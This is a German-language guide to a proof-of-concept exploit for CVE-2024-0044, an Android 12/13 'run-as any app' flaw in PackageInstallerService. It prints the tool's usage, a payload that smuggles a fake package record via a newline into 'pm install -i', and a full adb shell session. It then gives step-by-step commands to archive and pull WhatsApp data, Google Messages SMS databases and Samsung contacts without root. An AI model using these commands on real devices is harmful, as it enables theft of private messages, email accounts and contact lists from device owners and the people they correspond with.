
CVE-2024-0044: eine "run-as any app"-Schwachstelle mit hohem Schweregrad, die Android-Versionen 12 und 13 betrifft
CVE-2024-0044, identifiziert in der Funktion createSessionInternal der Datei PackageInstallerService.java, ist eine schwerwiegende Sicherheitslücke, die Android Versionen 12 und 13 betrifft. Diese Schwachstelle ermöglicht es einem Angreifer, einen „run-as any app“-Angriff durchzuführen, was zu einer lokalen Privilegienerweiterung ohne Benutzerinteraktion führt. Das Problem entsteht durch eine unzureichende Eingabevalidierung innerhalb der createSessionInternal-Funktion. Ein Angreifer kann dies ausnutzen, indem er den Sitzungserstellungsprozess manipuliert und möglicherweise unbefugten Zugriff auf sensible Daten erhält und unbefugte Aktionen auf dem betroffenen Gerät durchführt.
Der Exploit wurde entdeckt von Meta security
Der Proof of Concept wurde zusammengefasst und geteilt von Tiny hack
Details zum Sicherheitspatch finden Sie im Android security bulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P wird verwendet, um den Ziel-Paketnamen anzugeben, unter dem Sie ausgeführt werden möchten.
-A wird verwendet, um den Pfad zur APK-Datei anzugeben, die auf das Gerät übertragen werden soll.
Führen Sie das Tool aus:
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Eine Datei payload.txt wie diese wird generiert:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success-Meldung erhalten.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Erstellen Sie ein temporäres Verzeichnis: mkdir /data/local/tmp/wa/
Erstellen Sie einen Platzhalter für eine tar-Datei: touch /data/local/tmp/wa/wa.tar
Setzen Sie weit offene Berechtigungen: chmod -R 0777 /data/local/tmp/wa/, um sicherzustellen, dass jeder Benutzer in diesem Verzeichnis lesen, schreiben und ausführen kann.
Wechseln Sie den Benutzerkontext: run-as victim, um die gleichen Berechtigungen wie der „victim“-Benutzer zu erhalten.
Archivieren Sie die Daten der Zielanwendung: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, wodurch ein Tarball des WhatsApp-Datenverzeichnisses erstellt wird.
adb pull /data/local/tmp/wa/wa.tar
Sie können die Daten mit 7z oder einem anderen Tool extrahieren.
Sie können den WhatsApp Chat Exporter verwenden, um sie in HTML zu konvertieren.
Dies ermöglicht es Ihnen, WhatsApp-Daten ohne Root-Zugriff auf Ihrem Gerät zu erhalten.
Ändern Sie einfach den Paketnamen wie folgt:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Befolgen Sie die obigen Anweisungen und entpacken Sie nach dem Herunterladen der wa.tar-Datei diese und öffnen Sie die Konversationen in com.google.android.apps.messaging/databases/bugle_db mit sqlitebrowser oder einem anderen Tool.
Getestet für Samsung-Geräte. Überprüfen Sie bei anderen Geräten den Paketnamen des Kontaktanbieters.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Befolgen Sie die obigen Anweisungen und entpacken Sie nach dem Herunterladen der wa.tar-Datei diese und öffnen Sie die Kontakte in com.samsung.android.providers.contacts/databases/contacts2.db mit sqlitebrowser oder einem anderen Tool. Die DB-Datei enthält alle Informationen zu den E-Mail-Konten des Benutzers zusammen mit der Kontaktliste.